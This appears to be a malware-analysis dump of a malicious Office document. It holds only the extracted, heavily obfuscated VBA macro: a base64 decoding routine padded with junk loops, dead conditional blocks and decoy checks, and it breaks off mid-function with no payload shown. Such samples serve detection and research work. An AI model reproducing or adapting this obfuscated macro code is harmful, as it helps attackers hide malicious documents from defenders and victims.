Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UgcAfe"
Public Function o1QlG8Dd3Iis12bZ(vD36qpJZL8GeQAz As String, Optional Ato3M7V3wDpUjpi As Boolean = True) As String
Static LuSh0F9OciLG3A(0 To 255) As Byte
Dim BC3NYmuhMq0Ewg As Integer
For J0tO7I4hlV5 = 4 To 44
BC3NYmuhMq0Ewg = J0tO7I4hlV5
Next J0tO7I4hlV5
Dim bnHGwM0LtfWQ() As Byte, Rkun5BYdX9RUOze() As Byte
Dim XmfOGEv7NiO7wX As Integer
Dim nCV0DKKxiQPjKh, IHC9srT3Fol As String
nCV0DKKxiQPjKh = 5
IHC9srT3Fol = 7
#If nCV0DKKxiQPjKh > IHC9srT3Fol Then
Dim I97TV2JQYju As LongPtr
#Else
Dim I97TV2JQYju As Integer
I97TV2JQYju = 5 + 7
Dim E1Zg4w8dFZw As Integer
For E1Zg4w8dFZw = 0 To nCV0DKKxiQPjKh
E1Zg4w8dFZw = E1Zg4w8dFZw + 1
Next E1Zg4w8dFZw
#End If
Dim Fwv4dcbNIs8G1UFmno As Long, DEFwnztihGr0ZH1j As Long
Dim TeMI80bmaszYng As String
Dim U5BNYVo8MqqpHe As String
Dim F8QAwDmop15 As String
F8QAwDmop15 = cfEYmeS1iGu
U5BNYVo8MqqpHe = UbW0G1YOcDC
If (StrComp(U5BNYVo8MqqpHe, F8QAwDmop15, vbTextCompare) <> 0) Then
MsgBox ("Optional: uVLc3lXitPKR0x.")
End If
If LuSh0F9OciLG3A(0) = 0 Then
Dim ZgAlnPpazcyuaU As Integer
Dim ngB69qFjiWiNRC As String
Dim WHODkBHH9eguEF, maAXyAtaZTL As String
WHODkBHH9eguEF = 7
maAXyAtaZTL = 9
#If WHODkBHH9eguEF > maAXyAtaZTL Then
Dim GNaYUdQjClX As LongPtr
#Else
Dim GNaYUdQjClX As Integer
GNaYUdQjClX = 7 + 9
Dim ugZe3izjW9l As Integer
For ugZe3izjW9l = 0 To WHODkBHH9eguEF
ugZe3izjW9l = ugZe3izjW9l + 1
Next ugZe3izjW9l
#End If
For Fwv4dcbNIs8G1UFmno = 0 To 255
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno) = 255
Dim N83CDBEV5USHRQ, niN90GEBdHl As Integer
N83CDBEV5USHRQ = 8
niN90GEBdHl = 4
#If OSN8lpHCnHL <> 0 Then
OSN8lpHCnHL = OSN8lpHCnHL + 3
Dim Dk8XtGp0vjW As Variant
Else
Dim Dk8XtGp0vjW As Object
#End If
If N83CDBEV5USHRQ > niN90GEBdHl Then
For VJfhbVGZOfwbws = niN90GEBdHl To N83CDBEV5USHRQ
niN90GEBdHl = niN90GEBdHl / N83CDBEV5USHRQ
Next VJfhbVGZOfwbws
End If
Next Fwv4dcbNIs8G1UFmno
Dim Fmf6pMHVvdBZY5, ijN4g1luL09 As Integer
Fmf6pMHVvdBZY5 = 7
ijN4g1luL09 = 2
#If aKVL1qhyV8I <> 0 Then
aKVL1qhyV8I = aKVL1qhyV8I + 9
Dim iYm1genJBz0 As Variant
Else
Dim iYm1genJBz0 As Object
#End If
If Fmf6pMHVvdBZY5 > ijN4g1luL09 Then
For wvGnutZ2Wap6JC = ijN4g1luL09 To Fmf6pMHVvdBZY5
ijN4g1luL09 = ijN4g1luL09 / Fmf6pMHVvdBZY5
Next wvGnutZ2Wap6JC
End If
For Fwv4dcbNIs8G1UFmno = 0 To 25
Dim gZSZmNf92rltmh, sNPY3419fuq As String
gZSZmNf92rltmh = 5
sNPY3419fuq = 7
#If gZSZmNf92rltmh > sNPY3419fuq Then
Dim syAhUMVClo5 As LongPtr
#Else
Dim syAhUMVClo5 As Integer
syAhUMVClo5 = 5 + 7
Dim eA0hzremi8V As Integer
For eA0hzremi8V = 0 To gZSZmNf92rltmh
eA0hzremi8V = eA0hzremi8V + 1
Next eA0hzremi8V
#End If
Dim Um4hsuYfchfPqB As Integer
For lgURfgFU7NB = 1 To 11
Um4hsuYfchfPqB = lgURfgFU7NB
Next lgURfgFU7NB
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno + 65) = Fwv4dcbNIs8G1UFmno
Dim AODN7AZ4sz13k6 As Integer
Dim snYzStyvUa2zJx As String
Next Fwv4dcbNIs8G1UFmno
Dim ewksmOyFVzyqvv As Integer
For nWVxtHv7o1w = 4 To 42
ewksmOyFVzyqvv = nWVxtHv7o1w
Next nWVxtHv7o1w
For Fwv4dcbNIs8G1UFmno = 26 To 51
Dim M5EnhW0kLDIqR5 As Integer
For k1GAs2TxdIB = 7 To 73
M5EnhW0kLDIqR5 = k1GAs2TxdIB
Next k1GAs2TxdIB
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno + 71) = Fwv4dcbNIs8G1UFmno
Dim pOefSXY88aHT86 As Integer
For NoZdlMO6EHe = 3 To 36
pOefSXY88aHT86 = NoZdlMO6EHe
Next NoZdlMO6EHe
Dim ayZUqgcnszTh6h As String
Dim F5Cs9fWN3X4 As String
F5Cs9fWN3X4 = qM6TDw26oLj
ayZUqgcnszTh6h = I583A8dbngK
If (StrComp(ayZUqgcnszTh6h, F5Cs9fWN3X4, vbTextCompare) <> 0) Then
MsgBox ("Optional: xOoxiqF0S4BZ1T.")
End If
Next Fwv4dcbNIs8G1UFmno
Dim BNDzoazNudc1nl As Integer
Dim NH4kUhICziY7qL As String
Dim S2YiGHIkEdC As String
S2YiGHIkEdC = EX0dXgon2oS
NH4kUhICziY7qL = KUy4HV3snKv
If (StrComp(NH4kUhICziY7qL, S2YiGHIkEdC, vbTextCompare) <> 0) Then
MsgBox ("Optional: qDM3e88EpCahOK.")
End If
For Fwv4dcbNIs8G1UFmno = 52 To 61
Dim qQuAonhVshRrI9, XhLrKgUxgq9 As String
qQuAonhVshRrI9 = 2
XhLrKgUxgq9 = 5
#If qQuAonhVshRrI9 > XhLrKgUxgq9 Then
Dim D1YhhGFtj1Q As LongPtr
#Else
Dim D1YhhGFtj1Q As Integer
D1YhhGFtj1Q = 2 + 5
Dim NkhcHvm6P8s As Integer
For NkhcHvm6P8s = 0 To qQuAonhVshRrI9
NkhcHvm6P8s = NkhcHvm6P8s + 1
Next NkhcHvm6P8s
#End If
Dim fJrYjMjaAVq2Ue, Irqk2fLj6q7 As String
fJrYjMjaAVq2Ue = 7
Irqk2fLj6q7 = 3
#If fJrYjMjaAVq2Ue > Irqk2fLj6q7 Then
Dim xbfD9JDT5cw As LongPtr
#Else
Dim xbfD9JDT5cw As Integer
xbfD9JDT5cw = 7 + 3
Dim jnawLoAPGQe As Integer
For jnawLoAPGQe = 0 To fJrYjMjaAVq2Ue
jnawLoAPGQe = jnawLoAPGQe + 1
Next jnawLoAPGQe
#End If
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno - 4) = Fwv4dcbNIs8G1UFmno
Dim BXACJFThirjqdv As Object
Dim UeFMQ52Wuv2bs0 As String
Dim iGtOpuHZpB1 As String
iGtOpuHZpB1 = o0lXQ0ER5E1
UeFMQ52Wuv2bs0 = fBCBL1q4K2v
If (StrComp(UeFMQ52Wuv2bs0, iGtOpuHZpB1, vbTextCompare) <> 0) Then
MsgBox ("Optional: sXk9TXUC9yDVeE.")
End If
Dim lv18B9NwRgr73F, Chqi642N9Ws As String
lv18B9NwRgr73F = 7
Chqi642N9Ws = 7
#If lv18B9NwRgr73F > Chqi642N9Ws Then
Dim xFjERItvwRD As LongPtr
#Else
Dim xFjERItvwRD As Integer
xFjERItvwRD = 7 + 7
Dim JWdFDMMYFN4 As Integer
For JWdFDMMYFN4 = 0 To lv18B9NwRgr73F
JWdFDMMYFN4 = JWdFDMMYFN4 + 1
Next JWdFDMMYFN4
#End If
Next Fwv4dcbNIs8G1UFmno
Dim oRqGZLZeL9HBw2 As Object
Dim Cps0zQLWIBFduk As Integer
Dim fNhMRCDugSu As String
Cps0zQLWIBFduk = 4532
Dim bFyy20IAvxk As Integer
fNhMRCDugSu = Right(CStr(Cps0zQLWIBFduk), 1)
bFyy20IAvxk = CInt(fNhMRCDugSu)
For N9fGUnYLjhy = bFyy20IAvxk To 97
Cps0zQLWIBFduk = Cps0zQLWIBFduk + 5
Next N9fGUnYLjhy
Dim lNsjUEf0zeZgb0 As Integer
Dim vP57GI9mExv As String
lNsjUEf0zeZgb0 = 7567
Dim YzyTJy77zq1 As Integer
vP57GI9mExv = Right(CStr(lNsjUEf0zeZgb0), 1)
YzyTJy77zq1 = CInt(vP57GI9mExv)
For clCdvUK8jNj = YzyTJy77zq1 To 62
lNsjUEf0zeZgb0 = lNsjUEf0zeZgb0 + 6
Next clCdvUK8jNj
LuSh0F9OciLG3A(43) = 62
Dim pgSIo57kt40q0q As String
pgSIo57kt40q0q = Application.UserName
Dim hCnR6kgotlw, n5pAfPlhIwrV0s As Integer
n5pAfPlhIwrV0s = Len(pgSIo57kt40q0q)
Dim qMjVDisaS15 As Collection
While n5pAfPlhIwrV0s > 7
hCnR6kgotlw = hCnR6kgotlw + 2
n5pAfPlhIwrV0s = n5pAfPlhIwrV0s - 2
Wend
Dim OtkmDSg6QtkmTn As String
Dim g9dSdOr34Lzxw9 As Object
Dim gITJz0fsNefY1g As String
gITJz0fsNefY1g = Application.UserName
Dim f9auc9SX0VS, R4oUztHsOR801M As Integer
R4oUztHsOR801M = Len(gITJz0fsNefY1g)
Dim wnvjD5OWT3h As Collection
While R4oUztHsOR801M > 6
f9auc9SX0VS = f9auc9SX0VS + 3
R4oUztHsOR801M = R4oUztHsOR801M - 3
Wend
Dim nJJjRBinDwG7tG As Collection
Set nJJjRBinDwG7tG = New Collection
nJJjRBinDwG7tG.Add "wnvjD5OWT3h"
nJJjRBinDwG7tG.Add "KTws3JjTiZt"
nJJjRBinDwG7tG.Add "Hzgw3LT04tHeOl"
Dim gADgReNCNfDfOm As Integer
For pvDaC8pcpQ3 = 2 To 29
gADgReNCNfDfOm = pvDaC8pcpQ3
Next pvDaC8pcpQ3
LuSh0F9OciLG3A(47) = 63
Dim oTV13d7O6gdjxj As Integer
Dim bDvgr8ZKHbm As String
oTV13d7O6gdjxj = 6332
Dim gAW7qUv26QV As Integer
bDvgr8ZKHbm = Right(CStr(oTV13d7O6gdjxj), 1)
gAW7qUv26QV = CInt(bDvgr8ZKHbm)
For GvoYYrdbN8i = gAW7qUv26QV To 83
oTV13d7O6gdjxj = oTV13d7O6gdjxj + 7
Next GvoYYrdbN8i
Dim nPk8oJNhX5zaNQ As Integer
Dim aRpa2zVrNrQ As String
nPk8oJNhX5zaNQ = 5927
Dim vfqkMMRB4ac As Integer
aRpa2zVrNrQ = Right(CStr(nPk8oJNhX5zaNQ), 1)
vfqkMMRB4ac = CInt(aRpa2zVrNrQ)
For F4oBrceXwRc = vfqkMMRB4ac To 38
nPk8oJNhX5zaNQ = nPk8oJNhX5zaNQ + 4
Next F4oBrceXwRc
End If
Dim K5WKgSnP1JjnKm As String
Dim DNGat57Rk8CLnN As String
Dim bTxlPQyMWJZB6f, Kgow3uSvP6s As Integer
bTxlPQyMWJZB6f = 7
Kgow3uSvP6s = 7
#If eAFbdIiOjNT <> 0 Then
eAFbdIiOjNT = eAFbdIiOjNT + 8
Dim EFChkBwaAjO As Variant
Else
Dim EFChkBwaAjO As Object
#End If
If bTxlPQyMWJZB6f > Kgow3uSvP6s Then
For VXSIv4FMuE23oQ = Kgow3uSvP6s To bTxlPQyMWJZB6f
Kgow3uSvP6s = Kgow3uSvP6s / bTxlPQyMWJZB6f
Next VXSIv4FMuE23oQ
End If
Dim O3ajuVKQ8y5IWk As Integer
Dim kIUWnJWcPNM As String
O3ajuVKQ8y5IWk = 3114
Dim TR0Q4ZKz1He As Integer
kIUWnJWcPNM = Right(CStr(O3ajuVKQ8y5IWk), 1)
TR0Q4ZKz1He = CInt(kIUWnJWcPNM)
For tjBj46wP6uS = TR0Q4ZKz1He To 55
O3ajuVKQ8y5IWk = O3ajuVKQ8y5IWk + 4
Next tjBj46wP6uS
If vD36qpJZL8GeQAz = "" Then Exit Function
Dim knyLnKWkjsjne9 As Object
vD36qpJZL8GeQAz = Trim(vD36qpJZL8GeQAz)
Dim n5KulSnFw46JkX As Object
If Ato3M7V3wDpUjpi Then
Dim cSAAFHIQBacE7U, SxPkq5NPRGl As String
cSAAFHIQBacE7U = 9
SxPkq5NPRGl = 5
#If cSAAFHIQBacE7U > SxPkq5NPRGl Then
Dim AEKAUqfJe7i As LongPtr
#Else
Dim AEKAUqfJe7i As Integer
AEKAUqfJe7i = 9 + 5
Dim FjhoBT4GFrM As Integer
For FjhoBT4GFrM = 0 To cSAAFHIQBacE7U
FjhoBT4GFrM = FjhoBT4GFrM + 1
Next FjhoBT4GFrM
#End If
For Fwv4dcbNIs8G1UFmno = 0 To 255
Dim A44VKB4zGpjBjx As String
A44VKB4zGpjBjx = Application.UserName
Dim hcphNLclECM, GRAsPfekZ01Jz2 As Integer
GRAsPfekZ01Jz2 = Len(A44VKB4zGpjBjx)
Dim TJwskssmEpl As Collection
While GRAsPfekZ01Jz2 > 3
hcphNLclECM = hcphNLclECM + 7
GRAsPfekZ01Jz2 = GRAsPfekZ01Jz2 - 3
Wend
Dim SFgrsLcJsxy0M9 As Integer
For CWEzXTumk45 = 4 To 46
SFgrsLcJsxy0M9 = CWEzXTumk45
Next CWEzXTumk45
Dim bEOlFsrZLUwlwQ, GDvGLzGx5qV As String
bEOlFsrZLUwlwQ = 4
GDvGLzGx5qV = 8
#If bEOlFsrZLUwlwQ > GDvGLzGx5qV Then
Dim zQXfr4w0TmU As LongPtr
#Else
Dim zQXfr4w0TmU As Integer
zQXfr4w0TmU = 4 + 8
Dim SqKKR1SdIoI As Integer
For SqKKR1SdIoI = 0 To bEOlFsrZLUwlwQ
SqKKR1SdIoI = SqKKR1SdIoI + 1
Next SqKKR1SdIoI
#End If
If Not (Chr(Fwv4dcbNIs8G1UFmno) Like "[A-Za-z0-9+/=]") Then
vD36qpJZL8GeQAz = Replace(vD36qpJZL8GeQAz, Chr(Fwv4dcbNIs8G1UFmno), "")
Dim JkH0rbQDbYK42e As String
Dim ijLk9gwH1DbbXp, ZHouqL1VMek As String
ijLk9gwH1DbbXp = 7
ZHouqL1VMek = 2
#If ijLk9gwH1DbbXp > ZHouqL1VMek Then
Dim tcksujMWlCw As LongPtr
#Else
Dim tcksujMWlCw As Integer
tcksujMWlCw = 7 + 2
Dim T3Sot4N3fQI As Integer
For T3Sot4N3fQI = 0 To ijLk9gwH1DbbXp
T3Sot4N3fQI = T3Sot4N3fQI + 1
Next T3Sot4N3fQI
#End If
Dim VGeOFvnstubBc6 As String
Dim GT8TupY9u8b As String
GT8TupY9u8b = BKsZq3LjhfG
VGeOFvnstubBc6 = UQLWJd8PIt1
If (StrComp(VGeOFvnstubBc6, GT8TupY9u8b, vbTextCompare) <> 0) Then
MsgBox ("Optional: ZLCsqVYzZWgzDl.")
End If
End If
Dim c712X1qG34Y5Fn As String
c712X1qG34Y5Fn = Application.UserName
Dim VQLWQDOAnSt, ncBvq3DvhTjJRw As Integer
ncBvq3DvhTjJRw = Len(c712X1qG34Y5Fn)
Dim FF6ZNoWP7o2 As Collection
While ncBvq3DvhTjJRw > 2
VQLWQDOAnSt = VQLWQDOAnSt + 6
ncBvq3DvhTjJRw = ncBvq3DvhTjJRw - 7
Wend
Dim Ojd528NlNQcMMM, g2hijUA66BR As String
Ojd528NlNQcMMM = 3
g2hijUA66BR = 5
#If Ojd528NlNQcMMM > g2hijUA66BR Then
Dim RCmCZoKWUSP As LongPtr
#Else
Dim RCmCZoKWUSP As Integer
RCmCZoKWUSP = 3 + 5
Dim Fz360xzPssj As Integer
For Fz360xzPssj = 0 To Ojd528NlNQcMMM
Fz360xzPssj = Fz360xzPssj + 1
Next Fz360xzPssj
#End If
Dim M6veYG7moJWBPQ As String
Dim zna2qZGBsOD As String
zna2qZGBsOD = ZCM5IEwLcU1
M6veYG7moJWBPQ = szav6wGkSlO
If (StrComp(M6veYG7moJWBPQ, zna2qZGBsOD, vbTextCompare) <> 0) Then
MsgBox ("Optional: vJE2qEUCNNga4D.")
End If
Next Fwv4dcbNIs8G1UFmno
Dim trRFk8p5ryPs27 As String
Dim Z0g6lBaMsJdJvq, fXIyYvFa442 As String
Z0g6lBaMsJdJvq = 8
fXIyYvFa442 = 3
#If Z0g6lBaMsJdJvq > fXIyYvFa442 Then
Dim hyBM43o8jIg As LongPtr
#Else
Dim hyBM43o8jIg As Integer
hyBM43o8jIg = 8 + 3
Dim l5fTpvSqi7b As Integer
For l5fTpvSqi7b = 0 To Z0g6lBaMsJdJvq
l5fTpvSqi7b = l5fTpvSqi7b + 1
Next l5fTpvSqi7b
#End If
End If
Dim GOV5N7wG4F7pZD As Integer
Rkun5BYdX9RUOze() = StrConv(vD36qpJZL8GeQAz, vbFromUnicode)
Dim jAiUT1Xc25ifX9 As String
Dim Zhm5UInPmf8 As String
Zhm5UInPmf8 = FBCZaDYF5i1
jAiUT1Xc25ifX9 = rO9hhS8Isba
If (StrComp(jAiUT1Xc25ifX9, Zhm5UInPmf8, vbTextCompare) <> 0) Then
MsgBox ("Optional: cHp23LYjbXCVN0.")
End If
ReDim bnHGwM0LtfWQ(0 To ((Len(vD36qpJZL8GeQAz) \ 4) * 3 - 1))
Dim HqqL0iGuEWghAk As String
Dim witZStaw9bf As String
witZStaw9bf = udvnh3gq8P8
HqqL0iGuEWghAk = PI8d3vvKlQ7
If (StrComp(HqqL0iGuEWghAk, witZStaw9bf, vbTextCompare) <> 0) Then
MsgBox ("Optional: nmxsfc6tVqOp7E.")
End If
For Fwv4dcbNIs8G1UFmno = 0 To Len(vD36qpJZL8GeQAz) \ 4 - 2
Dim sYaBWMTtF5Gyaq, IIZbRAyIN0A As String
sYaBWMTtF5Gyaq = 9
IIZbRAyIN0A = 4
#If sYaBWMTtF5Gyaq > IIZbRAyIN0A Then
Dim OeNqTbnJjap As LongPtr
#Else
Dim OeNqTbnJjap As Integer
OeNqTbnJjap = 9 + 4
Dim BABVUdlqSHA As Integer
For BABVUdlqSHA = 0 To sYaBWMTtF5Gyaq
BABVUdlqSHA = BABVUdlqSHA + 1
Next BABVUdlqSHA
#End If
DEFwnztihGr0ZH1j = LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3))
Dim n3XLMoBHzMSVIO As Integer
Dim Rvl8fJKeBeg6Od As Integer
Dim hGnWOkCzVY8nJo As String
Dim EaTLtA4CrtY As String
EaTLtA4CrtY = BGr3ugUK8S9
hGnWOkCzVY8nJo = Tj2RUZFbr9a
If (StrComp(hGnWOkCzVY8nJo, EaTLtA4CrtY, vbTextCompare) <> 0) Then
MsgBox ("Optional: aNJpBCtQlY47Md.")
End If
Dim mFeRarrkdlpz9g, ZiCgPJIG5sk As Integer
mFeRarrkdlpz9g = 1
ZiCgPJIG5sk = 5
#If CvoI2jl20Jf <> 0 Then
CvoI2jl20Jf = CvoI2jl20Jf + 6
Dim UXCdoejHnnq As Variant
Else
Dim UXCdoejHnnq As Object
#End If
If mFeRarrkdlpz9g > ZiCgPJIG5sk Then
For zds92VcVnJvqX6 = ZiCgPJIG5sk To mFeRarrkdlpz9g
ZiCgPJIG5sk = ZiCgPJIG5sk / mFeRarrkdlpz9g
Next zds92VcVnJvqX6
End If
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) * &H40&)
Dim Tj7rGVqt9K2DsV As Integer
Dim BJCybkmBL4KmS9 As String
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) * &H1000&)
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) * &H40000)
Dim m8rJQzN9L0gCko As String
m8rJQzN9L0gCko = Application.UserName
Dim nqN1sLdGH1w, MBXeCOtlm0xWtw As Integer
MBXeCOtlm0xWtw = Len(m8rJQzN9L0gCko)
Dim bBjlFM6OC53 As Collection
While MBXeCOtlm0xWtw > 3
nqN1sLdGH1w = nqN1sLdGH1w + 1
MBXeCOtlm0xWtw = MBXeCOtlm0xWtw - 7
Wend
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 0) = (DEFwnztihGr0ZH1j And &HFF0000) \ &H10000
Dim JMY6XrtrKTjozw As String
Dim AftEVXCmB4baq0 As String
Dim GeDjauwtkdbW6w As Integer
For PWQs1W071po = 2 To 21
GeDjauwtkdbW6w = PWQs1W071po
Next PWQs1W071po
Dim gTdb6BFb4h42EP, teIXfBtHlZE As String
gTdb6BFb4h42EP = 4
teIXfBtHlZE = 3
#If gTdb6BFb4h42EP > teIXfBtHlZE Then
Dim FR5EFjmcvm1 As LongPtr
#Else
Dim FR5EFjmcvm1 As Integer
FR5EFjmcvm1 = 4 + 3
Dim f0ZPmZbSD8k As Integer
For f0ZPmZbSD8k = 0 To gTdb6BFb4h42EP
f0ZPmZbSD8k = f0ZPmZbSD8k + 1
Next f0ZPmZbSD8k
#End If
Dim lDWxuKXx8RZTnB, uR8QYTpSWGg As Integer
lDWxuKXx8RZTnB = 9
uR8QYTpSWGg = 5
#If tkcQvYzMGIh <> 0 Then
tkcQvYzMGIh = tkcQvYzMGIh + 2
Dim ZkfcCmTviRv As Variant
Else
Dim ZkfcCmTviRv As Object
#End If
If lDWxuKXx8RZTnB > uR8QYTpSWGg Then
For Prgx8QP0ZrQT1j = uR8QYTpSWGg To lDWxuKXx8RZTnB
uR8QYTpSWGg = uR8QYTpSWGg / lDWxuKXx8RZTnB
Next Prgx8QP0ZrQT1j
End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 1) = (DEFwnztihGr0ZH1j And &HFF00&) \ &H100&
Dim AdMN9cSsfM1m7P As Integer
Dim qY2B9RxJUFR As String
AdMN9cSsfM1m7P = 7342
Dim pxiYIA4avzy As Integer
qY2B9RxJUFR = Right(CStr(AdMN9cSsfM1m7P), 1)
pxiYIA4avzy = CInt(qY2B9RxJUFR)
For O0Jz1zE4PaM = pxiYIA4avzy To 25
AdMN9cSsfM1m7P = AdMN9cSsfM1m7P + 2
Next O0Jz1zE4PaM
Dim r1kHdEb7C0L6pK As Integer
Dim v7KGdrrSOAQ As String
r1kHdEb7C0L6pK = 8847
Dim EMoLpJhvsRE As Integer
v7KGdrrSOAQ = Right(CStr(r1kHdEb7C0L6pK), 1)
EMoLpJhvsRE = CInt(v7KGdrrSOAQ)
For ffQQ5P4VAfU = EMoLpJhvsRE To 98
r1kHdEb7C0L6pK = r1kHdEb7C0L6pK + 2
Next ffQQ5P4VAfU
Dim cQo09X8ubBn2YJ, YhoWUXEQhVd As String
cQo09X8ubBn2YJ = 6
YhoWUXEQhVd = 9
#If cQo09X8ubBn2YJ > YhoWUXEQhVd Then
Dim SmRItjGomOf As LongPtr
#Else
Dim SmRItjGomOf As Integer
SmRItjGomOf = 6 + 9
Dim k0oz8HYVC7y As Integer
For k0oz8HYVC7y = 0 To cQo09X8ubBn2YJ
k0oz8HYVC7y = k0oz8HYVC7y + 1
Next k0oz8HYVC7y
#End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 2) = DEFwnztihGr0ZH1j And &HFF&
Dim ORf6pRb7wYdACQ As String
ORf6pRb7wYdACQ = Application.UserName
Dim Zr3etBrCBa4, HcKSywgSPQEBuU As Integer
HcKSywgSPQEBuU = Len(ORf6pRb7wYdACQ)
Dim v7MZg91FuZV As Collection
While HcKSywgSPQEBuU > 2
Zr3etBrCBa4 = Zr3etBrCBa4 + 1
HcKSywgSPQEBuU = HcKSywgSPQEBuU - 2
Wend
Dim BOhVxqFW5fLlX5 As Integer
Dim dWaNgbhT9Eu As String
BOhVxqFW5fLlX5 = 7337
Dim uvZIpwGkD3w As Integer
dWaNgbhT9Eu = Right(CStr(BOhVxqFW5fLlX5), 1)
uvZIpwGkD3w = CInt(dWaNgbhT9Eu)
For JbXlNU9qyNK = uvZIpwGkD3w To 31
BOhVxqFW5fLlX5 = BOhVxqFW5fLlX5 + 1
Next JbXlNU9qyNK
Dim lTTfSpHhQKir0b, jiGt7tM0aSa As Integer
lTTfSpHhQKir0b = 1
jiGt7tM0aSa = 7
#If URDxjY6MDNl <> 0 Then
URDxjY6MDNl = URDxjY6MDNl + 7
Dim Ss7D7dD1OeI As Variant
Else
Dim Ss7D7dD1OeI As Object
#End If
If lTTfSpHhQKir0b > jiGt7tM0aSa Then
For UOpHlUgV13AE4X = jiGt7tM0aSa To lTTfSpHhQKir0b
jiGt7tM0aSa = jiGt7tM0aSa / lTTfSpHhQKir0b
Next UOpHlUgV13AE4X
End If
Dim XzlpsVrUoDp3wX As String
Dim Em8UKJdtxau As String
Em8UKJdtxau = gFV6HpePiO9
XzlpsVrUoDp3wX = AxF2X1tsO35
If (StrComp(XzlpsVrUoDp3wX, Em8UKJdtxau, vbTextCompare) <> 0) Then
MsgBox ("Optional: Vdb84rppt7K5FQ.")
End If
Next Fwv4dcbNIs8G1UFmno
DEFwnztihGr0ZH1j = 0
Dim gnNj6DdWnyLkto As Object
Dim MO8KnhRBXTQHxH, al6PAMsD0TE As Integer
MO8KnhRBXTQHxH = 1
al6PAMsD0TE = 1
#If N0P69Q7frpm <> 0 Then
N0P69Q7frpm = N0P69Q7frpm + 4
Dim codPJicORb8 As Variant
Else
Dim codPJicORb8 As Object
#End If
If MO8KnhRBXTQHxH > al6PAMsD0TE Then
For uIiePsfuMYpFWr = al6PAMsD0TE To MO8KnhRBXTQHxH
al6PAMsD0TE = al6PAMsD0TE / MO8KnhRBXTQHxH
Next uIiePsfuMYpFWr
End If
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3)) <> 255 Then DEFwnztihGr0ZH1j = LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3))
Dim wqgZDybf22ShRi As String
Dim sHWwAtHaB1LtPz As Integer
Dim lQAWVJSKRxj As String
sHWwAtHaB1LtPz = 5469
Dim vzjCc7s8L8n As Integer
lQAWVJSKRxj = Right(CStr(sHWwAtHaB1LtPz), 1)
vzjCc7s8L8n = CInt(lQAWVJSKRxj)
For HQcC7NagXat = vzjCc7s8L8n To 18
sHWwAtHaB1LtPz = sHWwAtHaB1LtPz + 7
Next HQcC7NagXat
Dim fNTetzGRzmDXHZ As Integer
For j7A6FFE325K = 3 To 34
fNTetzGRzmDXHZ = j7A6FFE325K
Next j7A6FFE325K
Dim me56CxFVrg9dOd As String
Dim ilMMrrXkNrA As String
ilMMrrXkNrA = aKwD6jkWuMq
me56CxFVrg9dOd = RdqH2Mj8rD6
If (StrComp(me56CxFVrg9dOd, ilMMrrXkNrA, vbTextCompare) <> 0) Then
MsgBox ("Optional: RjR5UvyuJRO5hp.")
End If
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) * &H40&)
Dim GPPLNqBFwmvyan As Integer
Dim cb4W0kJmdaE As String
GPPLNqBFwmvyan = 6196
Dim QtX8yA0CcDt As Integer
cb4W0kJmdaE = Right(CStr(GPPLNqBFwmvyan), 1)
QtX8yA0CcDt = CInt(cb4W0kJmdaE)
For Q7yi64Cdt5R = QtX8yA0CcDt To 96
GPPLNqBFwmvyan = GPPLNqBFwmvyan + 7
Next Q7yi64Cdt5R
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) * &H1000&)
Dim t9saKAHHefSlKV As String
Dim ETpiizzBmRcgmw As Integer
Dim vlSKLRwiXWo As String
ETpiizzBmRcgmw = 6141
Dim o8I8QKqvrDj As Integer
vlSKLRwiXWo = Right(CStr(ETpiizzBmRcgmw), 1)
o8I8QKqvrDj = CInt(vlSKLRwiXWo)
For Hl7RIyEnAsr = o8I8QKqvrDj To 97
ETpiizzBmRcgmw = ETpiizzBmRcgmw + 7
Next Hl7RIyEnAsr
If LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) <> 255 Then DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) * &H40000)
Dim vzyKsn9BapMuMG As Object
Dim DaHsTiIUVZKomg, veCxcSTFugQ As Integer
DaHsTiIUVZKomg = 2
veCxcSTFugQ = 3
#If k07BUI0CIxp <> 0 Then
k07BUI0CIxp = k07BUI0CIxp + 1
Dim EWffVjlK9qx As Variant
Else
Dim EWffVjlK9qx As Object
#End If
If DaHsTiIUVZKomg > veCxcSTFugQ Then
For SxFXB0BI8plbms = veCxcSTFugQ To DaHsTiIUVZKomg
